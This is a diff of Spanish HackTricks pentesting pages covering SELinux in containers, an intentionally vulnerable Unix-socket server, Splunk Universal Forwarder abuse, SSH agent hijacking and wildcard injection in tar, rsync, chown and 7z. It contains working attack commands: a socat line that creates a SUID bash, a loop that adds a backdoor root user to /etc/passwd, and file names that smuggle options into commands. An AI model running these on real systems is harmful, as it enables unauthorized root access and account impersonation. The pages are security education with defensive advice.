- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
15
linux-hardening/privilege-escalation/selinux.md
Normal file
15
linux-hardening/privilege-escalation/selinux.md
Normal file
|
@ -0,0 +1,15 @@
|
|||
# SELinux en Contenedores
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) es un **sistema de etiquetado**. Cada **proceso** y cada **objeto del sistema de archivos** tiene una **etiqueta**. Las políticas de SELinux definen reglas sobre lo que una **etiqueta de proceso puede hacer con todas las demás etiquetas** en el sistema.
|
||||
|
||||
Los motores de contenedores lanzan **procesos de contenedor con una sola etiqueta SELinux confinada**, generalmente `container_t`, y luego establecen que el contenedor dentro del contenedor tenga la etiqueta `container_file_t`. Las reglas de la política de SELinux básicamente dicen que los **procesos `container_t` solo pueden leer/escribir/ejecutar archivos etiquetados como `container_file_t`**. Si un proceso de contenedor escapa del contenedor e intenta escribir en el contenido del host, el kernel de Linux deniega el acceso y solo permite que el proceso de contenedor escriba en el contenido etiquetado como `container_file_t`.
|
||||
```shell
|
||||
$ podman run -d fedora sleep 100
|
||||
d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb
|
||||
$ podman top -l label
|
||||
LABEL
|
||||
system_u:system_r:container_t:s0:c647,c780
|
||||
```
|
||||
# Usuarios SELinux
|
||||
|
||||
Además de los usuarios regulares de Linux, existen usuarios SELinux. Los usuarios SELinux forman parte de una política SELinux. Cada usuario de Linux se asigna a un usuario SELinux como parte de la política. Esto permite que los usuarios de Linux hereden las restricciones y reglas de seguridad y mecanismos aplicados a los usuarios SELinux.
|
|
@ -0,0 +1,54 @@
|
|||
## Ejemplo de enlace de socket con Python
|
||||
|
||||
En el siguiente ejemplo se crea un **socket Unix** (`/tmp/socket_test.s`) y todo lo que se **recibe** se va a **ejecutar** mediante `os.system`. Sé que no vas a encontrar esto en la vida real, pero el objetivo de este ejemplo es ver cómo se ve un código que usa sockets Unix y cómo manejar la entrada en el peor caso posible.
|
||||
|
||||
{% code title="s.py" %}
|
||||
```python
|
||||
import socket
|
||||
import os, os.path
|
||||
import time
|
||||
from collections import deque
|
||||
|
||||
if os.path.exists("/tmp/socket_test.s"):
|
||||
os.remove("/tmp/socket_test.s")
|
||||
|
||||
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
server.bind("/tmp/socket_test.s")
|
||||
os.system("chmod o+w /tmp/socket_test.s")
|
||||
while True:
|
||||
server.listen(1)
|
||||
conn, addr = server.accept()
|
||||
datagram = conn.recv(1024)
|
||||
if datagram:
|
||||
print(datagram)
|
||||
os.system(datagram)
|
||||
conn.close()
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**Ejecuta** el código usando python: `python s.py` y **verifica cómo el socket está escuchando**:
|
||||
```python
|
||||
netstat -a -p --unix | grep "socket_test"
|
||||
(Not all processes could be identified, non-owned process info
|
||||
will not be shown, you would have to be root to see it all.)
|
||||
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
|
||||
```
|
||||
**Explotación**
|
||||
```python
|
||||
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,91 @@
|
|||
Si al **enumerar** una máquina **internamente** o **externamente** encuentras que se está ejecutando Splunk (puerto 8090), si tienes **credenciales válidas**, puedes **abusar del servicio de Splunk** para **ejecutar una shell** como el usuario que ejecuta Splunk. Si se está ejecutando como root, puedes escalar privilegios a root.
|
||||
|
||||
Además, si ya eres root y el servicio de Splunk no está escuchando solo en localhost, puedes **robar** el archivo de **contraseñas** del servicio de Splunk y **descifrar** las contraseñas, o **agregar nuevas** credenciales. Y mantener la persistencia en el host.
|
||||
|
||||
En la primera imagen a continuación, puedes ver cómo se ve una página web de Splunkd.
|
||||
|
||||
**La siguiente información fue copiada de** [**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)
|
||||
|
||||
# Abusando de Splunk Forwarders para obtener shells y persistencia
|
||||
|
||||
14 de agosto de 2020
|
||||
|
||||
## Descripción: <a href="#description" id="description"></a>
|
||||
|
||||
El agente Splunk Universal Forwarder (UF) permite a los usuarios remotos autenticados enviar comandos o scripts únicos a los agentes a través de la API de Splunk. El agente UF no valida las conexiones que provienen de un servidor Splunk Enterprise válido, ni valida que el código esté firmado o que provenga del servidor Splunk Enterprise. Esto permite a un atacante que obtiene acceso a la contraseña del agente UF ejecutar código arbitrario en el servidor como SYSTEM o root, dependiendo del sistema operativo.
|
||||
|
||||
Este ataque está siendo utilizado por los Penetration Testers y es probable que los atacantes malintencionados lo estén explotando activamente. Obtener la contraseña podría llevar a la compromiso de cientos de sistemas en un entorno de cliente.
|
||||
|
||||
Las contraseñas de Splunk UF son relativamente fáciles de adquirir, consulte la sección Lugares comunes de contraseñas para obtener detalles.
|
||||
|
||||
## Contexto: <a href="#context" id="context"></a>
|
||||
|
||||
Splunk es una herramienta de agregación y búsqueda de datos que a menudo se utiliza como sistema de monitoreo de información y eventos de seguridad (SIEM). Splunk Enterprise Server es una aplicación web que se ejecuta en un servidor, con agentes, llamados Universal Forwarders, que se instalan en cada sistema de la red. Splunk proporciona binarios de agente para Windows, Linux, Mac y Unix. Muchas organizaciones usan Syslog para enviar datos a Splunk en lugar de instalar un agente en hosts Linux/Unix, pero la instalación de agentes se está volviendo cada vez más popular.
|
||||
|
||||
Universal Forwarder es accesible en cada host en https://host:8089. Acceder a cualquiera de las llamadas de API protegidas, como /service/ muestra una ventana de autenticación básica. El nombre de usuario siempre es admin, y la contraseña predeterminada solía ser changeme hasta 2016, cuando Splunk requirió que todas las nuevas instalaciones establecieran una contraseña de 8 caracteres o más. Como se puede ver en mi demostración, la complejidad no es un requisito ya que mi contraseña de agente es 12345678. Un atacante remoto puede realizar un ataque de fuerza bruta a la contraseña sin bloqueo, lo cual es una necesidad de un host de registro, ya que si la cuenta se bloquea, los registros ya no se enviarían al servidor Splunk y un atacante podría usar esto para ocultar sus ataques. La siguiente captura de pantalla muestra el agente Universal Forwarder, esta página inicial es accesible sin autenticación y se puede utilizar para enumerar hosts que ejecutan Splunk Universal Forwarder.
|
||||
|
||||
![0](https://eapolsniper.github.io/assets/2020AUG14/11\_SplunkAgent.png)
|
||||
|
||||
La documentación de Splunk muestra el uso de la misma contraseña de reenvío universal para todos los agentes, no recuerdo con certeza si esto es un requisito o si se pueden establecer contraseñas individuales para cada agente, pero según la documentación y la memoria de cuando era un administrador de Splunk, creo que todos los agentes deben usar la misma contraseña. Esto significa que si se encuentra o se descifra la contraseña en un sistema, es probable que funcione en todos los hosts de Splunk UF. Esta ha sido mi experiencia personal, lo que permite la compromiso de cientos de hosts rápidamente.
|
||||
|
||||
## Lugares comunes de contraseñas <a href="#common-password-locations" id="common-password-locations"></a>
|
||||
|
||||
A menudo encuentro la contraseña de texto sin formato del agente de reenvío universal de Splunk en las siguientes ubicaciones en las redes:
|
||||
|
||||
1. Directorio Sysvol/domain.com/Scripts de Active Directory. Los administradores almacenan el ejecutable y la contraseña juntos para una instalación eficiente del agente.
|
||||
2. Comparticiones de archivos de red que alojan archivos de instalación de TI
|
||||
3. Wiki u otros repositorios de notas de compilación en la red interna
|
||||
|
||||
La contraseña también se puede acceder en forma de hash en Program Files\Splunk\etc\passwd en hosts de Windows, y en /opt/Splunk/etc/passwd en hosts de Linux y Unix. Un atacante puede intentar descifrar la contraseña usando Hashcat, o alquilar un entorno de descifrado en la nube para aumentar la probabilidad de descifrar el hash. La contraseña es un hash SHA-256 fuerte y, como tal, es poco probable que se descifre una contraseña fuerte y aleatoria.
|
||||
|
||||
## Impacto: <a href="#impact" id="impact"></a>
|
||||
|
||||
Un atacante con una contraseña de agente de reenvío universal de Splunk puede comprometer completamente todos los hosts de Splunk en la red y obtener permisos de nivel SYSTEM o root en cada host. He utilizado con éxito el agente Splunk en hosts de Windows, Linux y Solaris Unix. Esta vulnerabilidad podría permitir la extracción de credenciales del sistema, la exfiltración de datos sensibles o la instalación de ransomware. Esta vulnerabilidad es rápida, fácil de usar y confiable.
|
||||
|
||||
Dado que Splunk maneja registros, un atacante podría reconfigurar el reenvío universal en el primer comando ejecutado para cambiar la ubicación del reenvío, deshabilitando el registro en el SIEM de Splunk. Esto reduciría drásticamente las posibilidades de ser detectado por el equipo Blue del cliente.
|
||||
|
||||
Splunk Universal Forwarder
|
||||
```bash
|
||||
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
|
||||
```
|
||||
Información del host:
|
||||
|
||||
Servidor Splunk Enterprise: 192.168.42.114\
|
||||
Agente de reenvío de Splunk víctima: 192.168.42.98\
|
||||
Atacante: 192.168.42.51
|
||||
|
||||
Versión de Splunk Enterprise: 8.0.5 (la última hasta el 12 de agosto de 2020, día de la configuración del laboratorio)\
|
||||
Versión de Universal Forwarder: 8.0.5 (la última hasta el 12 de agosto de 2020, día de la configuración del laboratorio)
|
||||
|
||||
### Recomendaciones de solución para Splunk, Inc: <a href="#remediation-recommendations-for-splunk-inc" id="remediation-recommendations-for-splunk-inc"></a>
|
||||
|
||||
Recomiendo implementar todas las siguientes soluciones para proporcionar una defensa en profundidad:
|
||||
|
||||
1. Idealmente, el agente Universal Forwarder no tendría ningún puerto abierto, sino que consultaría al servidor Splunk a intervalos regulares para recibir instrucciones.
|
||||
2. Habilitar la autenticación mutua TLS entre los clientes y el servidor, utilizando claves individuales para cada cliente. Esto proporcionaría una seguridad bidireccional muy alta entre todos los servicios de Splunk. La autenticación mutua TLS se está implementando ampliamente en agentes y dispositivos IoT, este es el futuro de la comunicación de cliente de dispositivo confiable con el servidor.
|
||||
3. Enviar todo el código, archivos de una sola línea o de script, en un archivo comprimido que esté cifrado y firmado por el servidor Splunk. Esto no protege los datos del agente enviados a través de la API, pero protege contra la ejecución remota de código malicioso de un tercero.
|
||||
|
||||
### Recomendaciones de solución para los clientes de Splunk: <a href="#remediation-recommendations-for-splunk-customers" id="remediation-recommendations-for-splunk-customers"></a>
|
||||
|
||||
1. Asegurarse de que se establezca una contraseña muy fuerte para los agentes de Splunk. Recomiendo al menos una contraseña aleatoria de 15 caracteres, pero como estas contraseñas nunca se escriben, esto podría establecerse como una contraseña muy grande, como 50 caracteres.
|
||||
2. Configurar firewalls basados en host para permitir solo conexiones al puerto 8089/TCP (puerto del agente Universal Forwarder) desde el servidor Splunk.
|
||||
|
||||
## Recomendaciones para el equipo Red: <a href="#recommendations-for-red-team" id="recommendations-for-red-team"></a>
|
||||
|
||||
1. Descargar una copia de Splunk Universal Forwarder para cada sistema operativo, ya que es un implante ligero y firmado. Es bueno tener una copia en caso de que Splunk realmente solucione esto.
|
||||
|
||||
## Exploits/Blogs de otros investigadores <a href="#exploitsblogs-from-other-researchers" id="exploitsblogs-from-other-researchers"></a>
|
||||
|
||||
Exploits públicos utilizables:
|
||||
|
||||
* https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
* https://www.exploit-db.com/exploits/46238
|
||||
* https://www.exploit-db.com/exploits/46487
|
||||
|
||||
Publicaciones de blog relacionadas:
|
||||
|
||||
* https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/
|
||||
* https://medium.com/@airman604/splunk-universal-forwarder-hijacking-5899c3e0e6b2
|
||||
* https://www.hurricanelabs.com/splunk-tutorials/using-splunk-as-an-offensive-security-tool
|
||||
|
||||
_**Nota:**_ Este problema es un problema grave con los sistemas de Splunk y ha sido explotado por otros probadores durante años. Si bien la ejecución remota de código es una característica prevista del agente Universal Forwarder de Splunk, la implementación de esto es peligrosa. Intenté enviar este error a través del programa de recompensa por errores de Splunk en la muy improbable posibilidad de que no estén al tanto de las implicaciones de diseño, pero se me notificó que cualquier envío de errores implementa la política de divulgación de Bug Crowd/Splunk que establece que no se pueden discutir públicamente detalles de la vulnerabilidad _nunca_ sin el permiso de Splunk. Solicité un plazo de divulgación de 90 días y me fue negado. Como tal, no divulgué esto de manera responsable ya que estoy razonablemente seguro de que Splunk es consciente del problema y ha optado por ignorarlo, siento que esto podría afectar gravemente a las empresas y es responsabilidad de la comunidad de la seguridad de la información educar a las empresas.
|
|
@ -0,0 +1,154 @@
|
|||
# Resumen
|
||||
|
||||
¿Qué puedes hacer si descubres dentro de la configuración `/etc/ssh_config` o dentro de `$HOME/.ssh/config` lo siguiente:
|
||||
```
|
||||
ForwardAgent yes
|
||||
```
|
||||
Si eres root dentro de la máquina, probablemente puedas **acceder a cualquier conexión ssh realizada por cualquier agente** que encuentres en el directorio _/tmp_.
|
||||
|
||||
Suplantar a Bob usando uno de los ssh-agent de Bob:
|
||||
```bash
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
```
|
||||
## ¿Por qué funciona esto?
|
||||
|
||||
Cuando se establece la variable `SSH_AUTH_SOCK`, se accede a las claves de Bob que se han utilizado en la conexión ssh de Bob. Entonces, si su clave privada todavía está allí (normalmente lo estará), podrás acceder a cualquier host usándola.
|
||||
|
||||
Como la clave privada se guarda en la memoria del agente sin cifrar, supongo que si eres Bob pero no conoces la contraseña de la clave privada, aún puedes acceder al agente y usarlo.
|
||||
|
||||
Otra opción es que el usuario propietario del agente y root puedan acceder a la memoria del agente y extraer la clave privada.
|
||||
|
||||
# Explicación detallada y explotación
|
||||
|
||||
**Tomado de:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
|
||||
## **Cuando ForwardAgent no puede ser confiado**
|
||||
|
||||
SSH sin contraseñas hace que la vida con sistemas operativos similares a Unix sea mucho más fácil. Si tu red requiere sesiones ssh encadenadas (para acceder a una red restringida, por ejemplo), el reenvío de agente se vuelve extremadamente útil. Con el reenvío de agente, es posible que me conecte desde mi portátil a mi servidor de desarrollo y desde allí ejecute una comprobación de salida svn desde otro servidor, todo sin contraseñas, mientras mantengo mi clave privada segura en mi estación de trabajo local.
|
||||
|
||||
Sin embargo, esto puede ser peligroso. Una rápida búsqueda en la web revelará varios artículos que indican que esto solo es seguro si los hosts intermedios son confiables. Raramente, sin embargo, encontrarás una explicación de _por qué_ es peligroso.
|
||||
|
||||
Para eso es este artículo. Pero primero, algo de antecedentes.
|
||||
|
||||
## **Cómo funciona la autenticación sin contraseña**
|
||||
|
||||
Cuando se autentica en modo normal, SSH utiliza tu contraseña para demostrar que eres quien dices ser. El servidor compara un hash de esta contraseña con uno que tiene en el archivo, verifica que los hashes coinciden y te deja entrar.
|
||||
|
||||
Si un atacante es capaz de romper la encriptación utilizada para proteger tu contraseña mientras se envía al servidor, puede robarla e iniciar sesión como tú cuando lo desee. Si se permite a un atacante realizar cientos de miles de intentos, eventualmente puede adivinar tu contraseña.
|
||||
|
||||
Un método de autenticación mucho más seguro es la [autenticación de clave pública](http://www.ibm.com/developerworks/library/l-keyc/index.html), una forma de iniciar sesión sin una contraseña. La autenticación de clave pública requiere un par de claves públicas y privadas coincidentes. La clave pública cifra mensajes que solo pueden ser descifrados con la clave privada. El ordenador remoto utiliza su copia de tu clave pública para cifrar un mensaje secreto para ti. Demuestras que eres tú descifrando el mensaje usando tu clave privada y enviando el mensaje de vuelta al ordenador remoto. Tu clave privada permanece segura en tu ordenador local todo el tiempo, a salvo de ataques.
|
||||
|
||||
La clave privada es valiosa y debe ser protegida, por lo que por defecto se almacena en un formato cifrado. Desafortunadamente, esto significa ingresar tu frase de cifrado antes de usarla. Muchos artículos sugieren usar claves privadas sin frase de cifrado (sin cifrar) para evitar esta inconveniencia. Eso es una mala idea, ya que cualquier persona con acceso a tu estación de trabajo (a través de acceso físico, robo o hackeo) ahora también tiene acceso gratuito a cualquier ordenador configurado con tu clave pública.
|
||||
|
||||
OpenSSH incluye [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), un daemon que se ejecuta en tu estación de trabajo local. Carga una copia descifrada de tu clave privada en la memoria, por lo que solo tienes que ingresar tu frase de cifrado una vez. Luego proporciona un [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) local que el cliente ssh puede usar para pedirle que descifre el mensaje cifrado enviado por el servidor remoto. Tu clave privada permanece segura en la memoria del proceso ssh-agent mientras te permite ssh alrededor sin escribir contraseñas.
|
||||
|
||||
## **Cómo funciona ForwardAgent**
|
||||
|
||||
Muchas tareas requieren sesiones ssh "encadenadas". Considera mi ejemplo anterior: me conecto desde mi estación de trabajo al servidor de desarrollo. Mientras estoy allí, necesito realizar una actualización svn, usando el protocolo "svn+ssh". Dado que sería absurdo dejar una copia sin cifrar de mi clave privada súper secreta en un servidor compartido, ahora estoy atrapado con la autenticación de contraseña. Si, sin embargo, habilito "ForwardAgent" en la configuración ssh de mi estación de trabajo, ssh utiliza sus capacidades de túnel incorporadas para crear otro socket en el servidor de desarrollo que se tuneliza de vuelta al socket ssh-agent en mi estación de trabajo local. Esto significa que el cliente ssh en el servidor de desarrollo ahora puede enviar solicitudes de "descifrar este mensaje secreto" directamente de vuelta al ssh-agent que se ejecuta en mi estación de trabajo, autenticándose a sí mismo en el servidor svn sin tener acceso a mi clave privada.
|
||||
|
||||
## **Por qué esto puede ser peligroso**
|
||||
|
||||
En pocas palabras, cualquier persona con privilegios de root en el servidor intermedio puede hacer uso gratuito de tu ssh-agent para autenticarse en otros servidores. Una simple demostración muestra lo trivial que puede ser esto. Los nombres de host y de usuario han sido cambiados para proteger a los inocentes.
|
||||
|
||||
Mi portátil está ejecutando ssh-agent, que se comunica con los programas cliente ssh a través de un socket. La ruta a este socket se almacena en la variable de entorno SSH_AUTH_SOCK:
|
||||
```
|
||||
mylaptop:~ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
||||
|
||||
mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
|
||||
srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners
|
||||
```
|
||||
El programa [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) nos permite ver e interactuar con las claves en el agente:
|
||||
```
|
||||
mylaptop:~ alice$ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
Tengo "ForwardAgent yes" en el archivo \~/.ssh/config de mi portátil. Por lo tanto, ssh va a crear un túnel conectando el socket local a un socket local en el servidor remoto:
|
||||
```
|
||||
mylaptop:~ alice$ ssh seattle
|
||||
|
||||
seattle:~ $ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
|
||||
```
|
||||
Aunque mis claves no están instaladas en "seattle", los programas cliente de ssh aún pueden acceder al agente que se está ejecutando en mi máquina local:
|
||||
```
|
||||
seattle:~ alice $ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
Entonces... ¿con quién podemos meternos?
|
||||
```
|
||||
seattle:~ alice $ who
|
||||
alice pts/0 2012-04-06 18:24 (office.example.com)
|
||||
bob pts/1 2012-04-03 01:29 (office.example.com)
|
||||
alice pts/3 2012-04-06 18:31 (office.example.com)
|
||||
alice pts/5 2012-04-06 18:31 (office.example.com)
|
||||
alice pts/6 2012-04-06 18:33 (office.example.com)
|
||||
charlie pts/23 2012-04-06 13:10 (office.example.com)
|
||||
charlie pts/27 2012-04-03 12:32 (office.example.com)
|
||||
bob pts/29 2012-04-02 10:58 (office.example.com)
|
||||
```
|
||||
Nunca me ha gustado Bob. Para encontrar su conexión de agente, necesito encontrar el proceso hijo de una de sus sesiones ssh:
|
||||
```
|
||||
seattle:~ alice $ sudo -s
|
||||
[sudo] password for alice:
|
||||
|
||||
seattle:~ root # pstree -p bob
|
||||
sshd(16816)───bash(16817)
|
||||
|
||||
sshd(25296)───bash(25297)───vim(14308)
|
||||
```
|
||||
Hay varias formas para que root pueda ver el entorno de un proceso en ejecución. En Linux, los datos están disponibles en /proc/\<pid>/environ. Como están almacenados en cadenas terminadas en NULL, usaré tr para convertir los NULLs en saltos de línea:
|
||||
```
|
||||
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
|
||||
```
|
||||
Ahora tengo todo lo que necesito saber para secuestrar el ssh-agent de Bob:
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
|
||||
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
|
||||
```
|
||||
Si tengo un objetivo específico en mente, ahora debería poder conectarme directamente. De lo contrario, simplemente observar la lista de procesos o buscar en el archivo de historial de Bob debería presentar muchos objetivos de oportunidad. En este caso, sé que Bob tiene todo tipo de archivos súper secretos almacenados en el servidor llamado "boston":
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
bob@boston:~$ whoami
|
||||
bob
|
||||
```
|
||||
He logrado utilizar mis privilegios de root en "Seattle" para acceder como Bob en "Boston". Apuesto a que puedo usar esto para despedirlo.
|
||||
|
||||
## **¡Protégete!**
|
||||
|
||||
No permitas que tu ssh-agent almacene tus claves indefinidamente. En OS X, configura tu Keychain para que se bloquee después de un período de inactividad o cuando la pantalla se bloquea. En otras plataformas Unix, pasa la opción -t a ssh-agent para que sus claves se eliminen después de segundos.
|
||||
|
||||
No habilites el reenvío de agentes al conectarte a hosts no confiables. Afortunadamente, la sintaxis de \~/.ssh/config hace que esto sea bastante simple:
|
||||
```
|
||||
Host trustworthyhost
|
||||
ForwardAgent yes
|
||||
```
|
||||
|
||||
```
|
||||
Host *
|
||||
ForwardAgent no
|
||||
```
|
||||
## **Lectura recomendada**
|
||||
|
||||
* [Gestión de claves de OpenSSH](http://www.ibm.com/developerworks/library/l-keyc/index.html) - Daniel Robbins
|
||||
* [Una guía ilustrada para el reenvío de agentes SSH](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) - Steve Friedl
|
||||
* [Manual de ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
||||
* [Manual de ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**La familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,72 @@
|
|||
## chown, chmod
|
||||
|
||||
Puedes **indicar qué propietario de archivo y permisos quieres copiar para el resto de los archivos**.
|
||||
```bash
|
||||
touch "--reference=/my/own/path/filename"
|
||||
```
|
||||
Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque combinado)_\
|
||||
__Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Tar
|
||||
|
||||
**Ejecutar comandos arbitrarios:**
|
||||
```bash
|
||||
touch "--checkpoint=1"
|
||||
touch "--checkpoint-action=exec=sh shell.sh"
|
||||
```
|
||||
Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque tar)_\
|
||||
__Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Rsync
|
||||
|
||||
**Ejecutar comandos arbitrarios:**
|
||||
```bash
|
||||
Interesting rsync option from manual:
|
||||
|
||||
-e, --rsh=COMMAND specify the remote shell to use
|
||||
--rsync-path=PROGRAM specify the rsync to run on remote machine
|
||||
```
|
||||
|
||||
```bash
|
||||
touch "-e sh shell.sh"
|
||||
```
|
||||
Puedes explotar esto usando [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(ataque rsync)_\
|
||||
__Más información en [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## 7z
|
||||
|
||||
En **7z**, incluso usando `--` antes de `*` (nota que `--` significa que la entrada siguiente no puede ser tratada como parámetros, solo como rutas de archivo en este caso), puedes causar un error arbitrario para leer un archivo, así que si un comando como el siguiente está siendo ejecutado por root:
|
||||
```bash
|
||||
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
|
||||
```
|
||||
Y puedes crear archivos en la carpeta donde se está ejecutando esto, podrías crear el archivo `@root.txt` y el archivo `root.txt` siendo un **enlace simbólico** al archivo que deseas leer:
|
||||
```bash
|
||||
cd /path/to/7z/acting/folder
|
||||
touch @root.txt
|
||||
ln -s /file/you/want/to/read root.txt
|
